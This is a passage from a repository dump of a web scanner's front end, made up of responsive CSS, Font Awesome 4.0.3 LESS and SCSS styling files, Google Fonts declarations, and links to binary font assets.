.button-menu-mobile { 113 | display: block; 114 | } 115 | .search-bar { 116 | display: none !important; 117 | } 118 | } 119 | @media (max-width: 420px) { 120 | .hide-phone { 121 | display: none !important; 122 | } 123 | } 124 | /* Container-alt */ 125 | @media (min-width: 768px) { 126 | .container-alt { 127 | width: 750px; 128 | } 129 | .nav-tabs.nav-justified > li > a { 130 | border-bottom: 2px solid #eeeeee; 131 | } 132 | } 133 | @media (min-width: 992px) { 134 | .container-alt { 135 | width: 970px; 136 | } 137 | } 138 | @media (min-width: 1200px) { 139 | .container-alt { 140 | width: 1170px; 141 | } 142 | } 143 | @media (max-width: 419px) { 144 | .topbar-left { 145 | width: 70px !important; 146 | } 147 | .content-page { 148 | margin-left: 70px; 149 | } 150 | .forced .side-menu.left { 151 | box-shadow: 0 12px 12px rgba(0, 0, 0, 0.1); 152 | position: absolute; 153 | } 154 | .enlarged .side-menu.left { 155 | box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1) !important; 156 | } 157 | .profile-info-name img { 158 | float: none; 159 | margin: 0px auto; 160 | margin-bottom: 20px; 161 | } 162 | div.hopscotch-bubble .hopscotch-bubble-container { 163 | max-width: 180px; 164 | } 165 | } 166 | -------------------------------------------------------------------------------- /web/static/font-awesome/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /web/static/font-awesome/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /web/static/font-awesome/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /web/static/font-awesome/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/font-awesome/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /web/static/font-awesome/less/bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em @fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .pull-right { float: right; } 11 | .pull-left { float: left; } 12 | 13 | .@{fa-css-prefix} { 14 | &.pull-left { margin-right: .3em; } 15 | &.pull-right { margin-left: .3em; } 16 | } 17 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/core.less: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix} { 5 | display: inline-block; 6 | font-family: FontAwesome; 7 | font-style: normal; 8 | font-weight: normal; 9 | line-height: 1; 10 | -webkit-font-smoothing: antialiased; 11 | -moz-osx-font-smoothing: grayscale; 12 | } 13 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/fixed-width.less: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .@{fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/font-awesome.less: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.0.3 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "spinning"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .@{fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .@{fa-css-prefix}-2x { font-size: 2em; } 11 | .@{fa-css-prefix}-3x { font-size: 3em; } 12 | .@{fa-css-prefix}-4x { font-size: 4em; } 13 | .@{fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/list.less: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: @fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .@{fa-css-prefix}-li { 11 | position: absolute; 12 | left: -@fa-li-width; 13 | width: @fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.@{fa-css-prefix}-lg { 17 | left: -@fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/mixins.less: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | .fa-icon-rotate(@degrees, @rotation) { 5 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation); 6 | -webkit-transform: rotate(@degrees); 7 | -moz-transform: rotate(@degrees); 8 | -ms-transform: rotate(@degrees); 9 | -o-transform: rotate(@degrees); 10 | transform: rotate(@degrees); 11 | } 12 | 13 | .fa-icon-flip(@horiz, @vert, @rotation) { 14 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=@rotation, mirror=1); 15 | -webkit-transform: scale(@horiz, @vert); 16 | -moz-transform: scale(@horiz, @vert); 17 | -ms-transform: scale(@horiz, @vert); 18 | -o-transform: scale(@horiz, @vert); 19 | transform: scale(@horiz, @vert); 20 | } 21 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/path.less: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}'); 7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'), 8 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'), 9 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'), 10 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg'); 11 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 12 | font-weight: normal; 13 | font-style: normal; 14 | } 15 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/spinning.less: -------------------------------------------------------------------------------- 1 | // Spinning Icons 2 | // -------------------------- 3 | 4 | .@{fa-css-prefix}-spin { 5 | -webkit-animation: spin 2s infinite linear; 6 | -moz-animation: spin 2s infinite linear; 7 | -o-animation: spin 2s infinite linear; 8 | animation: spin 2s infinite linear; 9 | } 10 | 11 | @-moz-keyframes spin { 12 | 0% { -moz-transform: rotate(0deg); } 13 | 100% { -moz-transform: rotate(359deg); } 14 | } 15 | @-webkit-keyframes spin { 16 | 0% { -webkit-transform: rotate(0deg); } 17 | 100% { -webkit-transform: rotate(359deg); } 18 | } 19 | @-o-keyframes spin { 20 | 0% { -o-transform: rotate(0deg); } 21 | 100% { -o-transform: rotate(359deg); } 22 | } 23 | @-ms-keyframes spin { 24 | 0% { -ms-transform: rotate(0deg); } 25 | 100% { -ms-transform: rotate(359deg); } 26 | } 27 | @keyframes spin { 28 | 0% { transform: rotate(0deg); } 29 | 100% { transform: rotate(359deg); } 30 | } 31 | -------------------------------------------------------------------------------- /web/static/font-awesome/less/stacked.less: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; } 21 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em $fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .pull-right { float: right; } 11 | .pull-left { float: left; } 12 | 13 | .#{$fa-css-prefix} { 14 | &.pull-left { margin-right: .3em; } 15 | &.pull-right { margin-left: .3em; } 16 | } 17 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_core.scss: -------------------------------------------------------------------------------- 1 | // Base Class Definition 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix} { 5 | display: inline-block; 6 | font-family: FontAwesome; 7 | font-style: normal; 8 | font-weight: normal; 9 | line-height: 1; 10 | -webkit-font-smoothing: antialiased; 11 | -moz-osx-font-smoothing: grayscale; 12 | } 13 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_fixed-width.scss: -------------------------------------------------------------------------------- 1 | // Fixed Width Icons 2 | // ------------------------- 3 | .#{$fa-css-prefix}-fw { 4 | width: (18em / 14); 5 | text-align: center; 6 | } 7 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_larger.scss: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .#{$fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .#{$fa-css-prefix}-2x { font-size: 2em; } 11 | .#{$fa-css-prefix}-3x { font-size: 3em; } 12 | .#{$fa-css-prefix}-4x { font-size: 4em; } 13 | .#{$fa-css-prefix}-5x { font-size: 5em; } 14 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_list.scss: -------------------------------------------------------------------------------- 1 | // List Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-ul { 5 | padding-left: 0; 6 | margin-left: $fa-li-width; 7 | list-style-type: none; 8 | > li { position: relative; } 9 | } 10 | .#{$fa-css-prefix}-li { 11 | position: absolute; 12 | left: -$fa-li-width; 13 | width: $fa-li-width; 14 | top: (2em / 14); 15 | text-align: center; 16 | &.#{$fa-css-prefix}-lg { 17 | left: -$fa-li-width + (4em / 14); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_mixins.scss: -------------------------------------------------------------------------------- 1 | // Mixins 2 | // -------------------------- 3 | 4 | @mixin fa-icon-rotate($degrees, $rotation) { 5 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=$rotation); 6 | -webkit-transform: rotate($degrees); 7 | -moz-transform: rotate($degrees); 8 | -ms-transform: rotate($degrees); 9 | -o-transform: rotate($degrees); 10 | transform: rotate($degrees); 11 | } 12 | 13 | @mixin fa-icon-flip($horiz, $vert, $rotation) { 14 | filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=$rotation); 15 | -webkit-transform: scale($horiz, $vert); 16 | -moz-transform: scale($horiz, $vert); 17 | -ms-transform: scale($horiz, $vert); 18 | -o-transform: scale($horiz, $vert); 19 | transform: scale($horiz, $vert); 20 | } 21 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_path.scss: -------------------------------------------------------------------------------- 1 | /* FONT PATH 2 | * -------------------------- */ 3 | 4 | @font-face { 5 | font-family: 'FontAwesome'; 6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}'); 7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'), 8 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'), 9 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'), 10 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg'); 11 | //src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts 12 | font-weight: normal; 13 | font-style: normal; 14 | } 15 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_spinning.scss: -------------------------------------------------------------------------------- 1 | // Spinning Icons 2 | // -------------------------- 3 | 4 | .#{$fa-css-prefix}-spin { 5 | -webkit-animation: spin 2s infinite linear; 6 | -moz-animation: spin 2s infinite linear; 7 | -o-animation: spin 2s infinite linear; 8 | animation: spin 2s infinite linear; 9 | } 10 | 11 | @-moz-keyframes spin { 12 | 0% { -moz-transform: rotate(0deg); } 13 | 100% { -moz-transform: rotate(359deg); } 14 | } 15 | @-webkit-keyframes spin { 16 | 0% { -webkit-transform: rotate(0deg); } 17 | 100% { -webkit-transform: rotate(359deg); } 18 | } 19 | @-o-keyframes spin { 20 | 0% { -o-transform: rotate(0deg); } 21 | 100% { -o-transform: rotate(359deg); } 22 | } 23 | @-ms-keyframes spin { 24 | 0% { -ms-transform: rotate(0deg); } 25 | 100% { -ms-transform: rotate(359deg); } 26 | } 27 | @keyframes spin { 28 | 0% { transform: rotate(0deg); } 29 | 100% { transform: rotate(359deg); } 30 | } 31 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/_stacked.scss: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; } 21 | -------------------------------------------------------------------------------- /web/static/font-awesome/scss/font-awesome.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome 4.0.3 by @davegandy - http://fontawesome.io - @fontawesome 3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) 4 | */ 5 | 6 | @import "variables"; 7 | @import "mixins"; 8 | @import "path"; 9 | @import "core"; 10 | @import "larger"; 11 | @import "fixed-width"; 12 | @import "list"; 13 | @import "bordered-pulled"; 14 | @import "spinning"; 15 | @import "rotated-flipped"; 16 | @import "stacked"; 17 | @import "icons"; 18 | -------------------------------------------------------------------------------- /web/static/fonts/Material-Design-Iconic-Font.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/Material-Design-Iconic-Font.ttf -------------------------------------------------------------------------------- /web/static/fonts/Material-Design-Iconic-Font.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/Material-Design-Iconic-Font.woff -------------------------------------------------------------------------------- /web/static/fonts/Material-Design-Iconic-Font.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/Material-Design-Iconic-Font.woff2 -------------------------------------------------------------------------------- /web/static/fonts/dropify.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/dropify.ttf -------------------------------------------------------------------------------- /web/static/fonts/dropify.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/dropify.woff -------------------------------------------------------------------------------- /web/static/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /web/static/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /web/static/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /web/static/fonts/themify.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/themify.ttf -------------------------------------------------------------------------------- /web/static/fonts/themify.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/fonts/themify.woff -------------------------------------------------------------------------------- /web/static/google/-L14Jk06m6pUHB-5mXQQnYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/-L14Jk06m6pUHB-5mXQQnYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/0eC6fl06luXEYWpBSJvXCIX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/0eC6fl06luXEYWpBSJvXCIX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/77FXFjRbGzN4aCrSFhlh3oX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/77FXFjRbGzN4aCrSFhlh3oX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/97uahxiqZRoncBaCEI3aW4X0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/97uahxiqZRoncBaCEI3aW4X0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/Fl4y0QdOxyyTHEGMXX8kcYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Fl4y0QdOxyyTHEGMXX8kcYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/Hgo13k-tfSpn0qi1SFdUfZBw1xU1rKptJj_0jans920.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Hgo13k-tfSpn0qi1SFdUfZBw1xU1rKptJj_0jans920.woff2 -------------------------------------------------------------------------------- /web/static/google/I3S1wsgSg9YCurV6PUkTOYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/I3S1wsgSg9YCurV6PUkTOYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2 -------------------------------------------------------------------------------- /web/static/google/Karla.css: -------------------------------------------------------------------------------- 1 | /* latin-ext */ 2 | @font-face { 3 | font-family: 'Karla'; 4 | font-style: normal; 5 | font-weight: 400; 6 | src: local('Karla'), local('Karla-Regular'), url(./S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2) format('woff2'); 7 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF; 8 | } 9 | /* latin */ 10 | @font-face { 11 | font-family: 'Karla'; 12 | font-style: normal; 13 | font-weight: 400; 14 | src: local('Karla'), local('Karla-Regular'), url(./JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2) format('woff2'); 15 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000; 16 | } 17 | /* latin-ext */ 18 | @font-face { 19 | font-family: 'Karla'; 20 | font-style: normal; 21 | font-weight: 700; 22 | src: local('Karla Bold'), local('Karla-Bold'), url(./r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2) format('woff2'); 23 | unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF; 24 | } 25 | /* latin */ 26 | @font-face { 27 | font-family: 'Karla'; 28 | font-style: normal; 29 | font-weight: 700; 30 | src: local('Karla Bold'), local('Karla-Bold'), url(./suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2) format('woff2'); 31 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000; 32 | } 33 | -------------------------------------------------------------------------------- /web/static/google/Ks_cVxiCiwUWVsFWFA3Bjn-_kf6ByYO6CLYdB4HQE-Y.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Ks_cVxiCiwUWVsFWFA3Bjn-_kf6ByYO6CLYdB4HQE-Y.woff2 -------------------------------------------------------------------------------- /web/static/google/NJ4vxlgWwWbEsv18dAhqnn-_kf6ByYO6CLYdB4HQE-Y.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/NJ4vxlgWwWbEsv18dAhqnn-_kf6ByYO6CLYdB4HQE-Y.woff2 -------------------------------------------------------------------------------- /web/static/google/NYDWBdD4gIq26G5XYbHsFIX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/NYDWBdD4gIq26G5XYbHsFIX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/Pru33qjShpZSmG3z6VYwnYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/Pru33qjShpZSmG3z6VYwnYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/PwZc-YbIL414wB9rB1IAPYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/PwZc-YbIL414wB9rB1IAPYX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/Rancho.css: -------------------------------------------------------------------------------- 1 | /* latin */ 2 | @font-face { 3 | font-family: 'Rancho'; 4 | font-style: normal; 5 | font-weight: 400; 6 | src: local('Rancho'), url(./yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2) format('woff2'); 7 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000; 8 | } 9 | -------------------------------------------------------------------------------- /web/static/google/RxZJdnzeo3R5zSexge8UUZBw1xU1rKptJj_0jans920.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/RxZJdnzeo3R5zSexge8UUZBw1xU1rKptJj_0jans920.woff2 -------------------------------------------------------------------------------- /web/static/google/S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2 -------------------------------------------------------------------------------- /web/static/google/UX6i4JxQDm3fVTc1CPuwqoX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/UX6i4JxQDm3fVTc1CPuwqoX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/ZLqKeelYbATG60EpZBSDy4X0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/ZLqKeelYbATG60EpZBSDy4X0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/_VYFx-s824kXq_Ul2BHqYH-_kf6ByYO6CLYdB4HQE-Y.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/_VYFx-s824kXq_Ul2BHqYH-_kf6ByYO6CLYdB4HQE-Y.woff2 -------------------------------------------------------------------------------- /web/static/google/d-6IYplOFocCacKzxwXSOJBw1xU1rKptJj_0jans920.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/d-6IYplOFocCacKzxwXSOJBw1xU1rKptJj_0jans920.woff2 -------------------------------------------------------------------------------- /web/static/google/isZ-wbCXNKAbnjo6_TwHToX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/isZ-wbCXNKAbnjo6_TwHToX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/jSN2CGVDbcVyCnfJfjSdfIX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/jSN2CGVDbcVyCnfJfjSdfIX0hVgzZQUfRDuZrPvH3D8.woff2 -------------------------------------------------------------------------------- /web/static/google/mbmhprMH69Zi6eEPBYVFhYX0hVgzZQUfRDuZrPvH3D8.woff2: -------------------------------------------------------------------------------- 